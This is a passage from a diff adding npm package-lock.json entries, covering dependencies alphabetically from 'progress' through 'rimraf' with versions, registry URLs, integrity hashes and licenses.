+ "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", + "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "asap": "~2.0.3" + } + }, + "node_modules/proper-lockfile": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", + "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "retry": "^0.12.0", + "signal-exit": "^3.0.2" + } + }, + "node_modules/proper-lockfile/node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/proto3-json-serializer": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-2.0.2.tgz", + "integrity": "sha512-SAzp/O4Yh02jGdRc+uIrGoe87dkN/XtwxfZ4ZyafJHymd79ozp5VG5nyZ7ygqPM5+cpLDjjGnYFUkngonyDPOQ==", + "license": "Apache-2.0", + "dependencies": { + "protobufjs": "^7.2.5" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/protobufjs": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.4.tgz", + "integrity": "sha512-CvexbZtbov6jW2eXAvLukXjXUW1TzFaivC46BpWc/3BpcCysb5Vffu+B3XHMm8lVEuy2Mm4XGex8hBSg1yapPg==", + "hasInstallScript": true, + "license": "BSD-3-Clause", + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/node": ">=13.7.0", + "long": "^5.0.0" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-agent": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-8.0.1.tgz", + "integrity": "sha512-kccqGBqHZXR8onQhY/ganJjoO8QIKKRiFBhPOzbTZK16attzSZ/0XSmp9H7jrRxPKHjhGyx1q32lMPrJ3uLFgA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "http-proxy-agent": "9.0.0", + "https-proxy-agent": "9.0.0", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "9.0.1", + "proxy-from-env": "^2.0.0", + "socks-proxy-agent": "10.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/https-proxy-agent": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.0.0.tgz", + "integrity": "sha512-/MVmHp58WkOypgFhCLk4fzpPcFQvTJ/e6LBI7irpIO2HfxUbpmYoHF+KzipzJpxxzJu7aJNWQ0xojJ/dzV2G5g==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/pug": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pug/-/pug-3.0.4.tgz", + "integrity": "sha512-kFfq5mMzrS7+wrl5pLJzZEzemx34OQ0w4SARfhy/3yxTlhbstsudDwJzhf1hP02yHzbjoVMSXUj/Sz6RNfMyXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "pug-code-gen": "^3.0.4", + "pug-filters": "^4.0.0", + "pug-lexer": "^5.0.1", + "pug-linker": "^4.0.0", + "pug-load": "^3.0.0", + "pug-parser": "^6.0.0", + "pug-runtime": "^3.0.1", + "pug-strip-comments": "^2.0.0" + } + }, + "node_modules/pug-attrs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-3.0.0.tgz", + "integrity": "sha512-azINV9dUtzPMFQktvTXciNAfAuVh/L/JCl0vtPCwvOA21uZrC08K/UnmrL+SXGEVc1FwzjW62+xw5S/uaLj6cA==", + "dev": true, + "license": "MIT", + "dependencies": { + "constantinople": "^4.0.1", + "js-stringify": "^1.0.2", + "pug-runtime": "^3.0.0" + } + }, + "node_modules/pug-code-gen": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-3.0.4.tgz", + "integrity": "sha512-6okWYIKdasTyXICyEtvobmTZAVX57JkzgzIi4iRJlin8kmhG+Xry2dsus+Mun/nGCn6F2U49haHI5mkELXB14g==", + "dev": true, + "license": "MIT", + "dependencies": { + "constantinople": "^4.0.1", + "doctypes": "^1.1.0", + "js-stringify": "^1.0.2", + "pug-attrs": "^3.0.0", + "pug-error": "^2.1.0", + "pug-runtime": "^3.0.1", + "void-elements": "^3.1.0", + "with": "^7.0.0" + } + }, + "node_modules/pug-error": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-2.1.0.tgz", + "integrity": "sha512-lv7sU9e5Jk8IeUheHata6/UThZ7RK2jnaaNztxfPYUY+VxZyk/ePVaNZ/vwmH8WqGvDz3LrNYt/+gA55NDg6Pg==", + "dev": true, + "license": "MIT" + }, + "node_modules/pug-filters": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-4.0.0.tgz", + "integrity": "sha512-yeNFtq5Yxmfz0f9z2rMXGw/8/4i1cCFecw/Q7+D0V2DdtII5UvqE12VaZ2AY7ri6o5RNXiweGH79OCq+2RQU4A==", + "dev": true, + "license": "MIT", + "dependencies": { + "constantinople": "^4.0.1", + "jstransformer": "1.0.0", + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0", + "resolve": "^1.15.1" + } + }, + "node_modules/pug-lexer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-5.0.1.tgz", + "integrity": "sha512-0I6C62+keXlZPZkOJeVam9aBLVP2EnbeDw3An+k0/QlqdwH6rv8284nko14Na7c0TtqtogfWXcRoFE4O4Ff20w==", + "dev": true, + "license": "MIT", + "dependencies": { + "character-parser": "^2.2.0", + "is-expression": "^4.0.0", + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-linker": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-4.0.0.tgz", + "integrity": "sha512-gjD1yzp0yxbQqnzBAdlhbgoJL5qIFJw78juN1NpTLt/mfPJ5VgC4BvkoD3G23qKzJtIIXBbcCt6FioLSFLOHdw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pug-error": "^2.0.0", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-load": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-3.0.0.tgz", + "integrity": "sha512-OCjTEnhLWZBvS4zni/WUMjH2YSUosnsmjGBB1An7CsKQarYSWQ0GCVyd4eQPMFJqZ8w9xgs01QdiZXKVjk92EQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "object-assign": "^4.1.1", + "pug-walk": "^2.0.0" + } + }, + "node_modules/pug-parser": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-6.0.0.tgz", + "integrity": "sha512-ukiYM/9cH6Cml+AOl5kETtM9NR3WulyVP2y4HOU45DyMim1IeP/OOiyEWRr6qk5I5klpsBnbuHpwKmTx6WURnw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pug-error": "^2.0.0", + "token-stream": "1.0.0" + } + }, + "node_modules/pug-runtime": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-3.0.1.tgz", + "integrity": "sha512-L50zbvrQ35TkpHwv0G6aLSuueDRwc/97XdY8kL3tOT0FmhgG7UypU3VztfV/LATAvmUfYi4wNxSajhSAeNN+Kg==", + "dev": true, + "license": "MIT" + }, + "node_modules/pug-strip-comments": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-2.0.0.tgz", + "integrity": "sha512-zo8DsDpH7eTkPHCXFeAk1xZXJbyoTfdPlNR0bK7rpOMuhBYb0f5qUVCO1xlsitYd3w5FQTK7zpNVKb3rZoUrrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "pug-error": "^2.0.0" + } + }, + "node_modules/pug-walk": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-2.0.0.tgz", + "integrity": "sha512-yYELe9Q5q9IQhuvqsZNwA5hfPkMJ8u92bQLIMcsMxf/VADjNtEYptU+inlufAFYcWdHlwNfZOEnOOQrZrcyJCQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pump": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.4.tgz", + "integrity": "sha512-VS7sjc6KR7e1ukRFhQSY5LM2uBWAUPiOPa/A3mkKmiMwSmRFUITt0xuj+/lesgnCv+dPIEYlkzrcyXgquIHMcA==", + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/pumpify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-2.0.1.tgz", + "integrity": "sha512-m7KOje7jZxrmutanlkS1daj1dS6z6BgslzOXmcSEpIlCxM3VJH7lG5QLeck/6hgF6F4crFf01UtQmNsJfweTAw==", + "license": "MIT", + "dependencies": { + "duplexify": "^4.1.1", + "inherits": "^2.0.3", + "pump": "^3.0.0" + } + }, + "node_modules/puppeteer-core": { + "version": "24.42.0", + "resolved": "https://registry.npmjs.org/puppeteer-core/-/puppeteer-core-24.42.0.tgz", + "integrity": "sha512-T4zXokk/izH01fYPhyyev1A4piWiOKrYq7CUFpdoYQxmOnXoV6YjUabmfIjCYkNspSoAXIxRid3Tw+Vg0fthYg==", + "license": "Apache-2.0", + "dependencies": { + "@puppeteer/browsers": "2.13.0", + "chromium-bidi": "14.0.0", + "debug": "^4.4.3", + "devtools-protocol": "0.0.1595872", + "typed-query-selector": "^2.12.1", + "webdriver-bidi-protocol": "0.4.1", + "ws": "^8.19.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/pure-rand": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-8.4.0.tgz", + "integrity": "sha512-IoM8YF/jY0hiugFo/wOWqfmarlE6J0wc6fDK1PhftMk7MGhVZl88sZimmqBBFomLOCSmcCCpsfj7wXASCpvK9A==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT" + }, + "node_modules/qs": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz", + "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/quickjs-wasi": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/quickjs-wasi/-/quickjs-wasi-2.2.0.tgz", + "integrity": "sha512-zQxXmQMrEoD3S+jQdYsloq4qAuaxKFHZj6hHqOYGwB2iQZH+q9e/lf5zQPXCKOk0WJuAjzRFbO4KwHIp2D05Iw==", + "license": "MIT" + }, + "node_modules/quote-unquote": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/quote-unquote/-/quote-unquote-1.0.0.tgz", + "integrity": "sha512-twwRO/ilhlG/FIgYeKGFqyHhoEhqgnKVkcmqMKi2r524gz3ZbDTcyFt38E9xjJI2vT+KbRNHVbnJ/e0I25Azwg==", + "dev": true, + "license": "MIT" + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc/node_modules/strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/read-package-up": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/read-package-up/-/read-package-up-11.0.0.tgz", + "integrity": "sha512-MbgfoNPANMdb4oRBNg5eqLbB2t2r+o5Ua1pNt8BqGp4I0FJZhuVSOj3PaBPni4azWuSzEdNn2evevzVmEk1ohQ==", + "license": "MIT", + "dependencies": { + "find-up-simple": "^1.0.0", + "read-pkg": "^9.0.0", + "type-fest": "^4.6.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-package-up/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", + "license": "MIT", + "dependencies": { + "@types/normalize-package-data": "^2.4.3", + "normalize-package-data": "^6.0.0", + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg/node_modules/unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.0.0.tgz", + "integrity": "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/reprism": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/reprism/-/reprism-0.0.11.tgz", + "integrity": "sha512-VsxDR5QxZo08M/3nRypNlScw5r3rKeSOPdU/QhDmu3Ai3BJxHn/qgfXGWQp/tAxUtzwYNo9W6997JZR0tPLZsA==", + "dev": true, + "license": "MIT" + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-in-the-middle": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-8.0.1.tgz", + "integrity": "sha512-QT7FVMXfWOYFbeRBF6nu+I6tr2Tf3u0q8RIEjNob/heKY/nh7drD/k7eeMFmSQgnTtCzLDcCu/XEnpW2wk4xCQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.3.5", + "module-details-from-path": "^1.0.3" + }, + "engines": { + "node": ">=9.3.0 || >=8.10.0 <9.0.0" + } + }, + "node_modules/requirejs": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/requirejs/-/requirejs-2.3.8.tgz", + "integrity": "sha512-7/cTSLOdYkNBNJcDMWf+luFvMriVm7eYxp4BcFCsAX0wF421Vyce5SXP17c+Jd5otXKGNehIonFlyQXSowL6Mw==", + "dev": true, + "license": "MIT", + "bin": { + "r_js": "bin/r.js", + "r.js": "bin/r.js" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/requirejs-config-file": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/requirejs-config-file/-/requirejs-config-file-4.0.0.tgz", + "integrity": "sha512-jnIre8cbWOyvr8a5F2KuqBnY+SDA4NXr/hzEZJG79Mxm2WiFQz2dzhC8ibtPJS7zkmBEl1mxSwp5HhC1W4qpxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esprima": "^4.0.0", + "stringify-object": "^3.2.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/resolve": { + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-dependency-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/resolve-dependency-path/-/resolve-dependency-path-4.0.1.tgz", + "integrity": "sha512-YQftIIC4vzO9UMhO/sCgXukNyiwVRCVaxiWskCBy7Zpqkplm8kTAISZ8O1MoKW1ca6xzgLUBjZTcDgypXvXxiQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/retry-request": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-7.0.2.tgz", + "integrity": "sha512-dUOvLMJ0/JJYEn8NrpOaGNE7X3vpI5XlZS/u0ANjqtcZVKnIxP7IgCFwrKTxENw29emmwug53awKtaMm4i9g5w==", + "license": "MIT", + "dependencies": { + "@types/request": "^2.48.8", + "extend": "^3.0.2", + "teeny-request": "^9.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "5.0.10", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-5.0.10.tgz", + "integrity": "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ==", + "license": "ISC", + "dependencies": { + "glob": "^10.3.7" + }, + "bin": { + "rimraf": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/rimraf/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/rimraf/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/rimraf/node_modules/brace-expansion": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.0.tgz", + "integrity": "sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/rimraf/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + 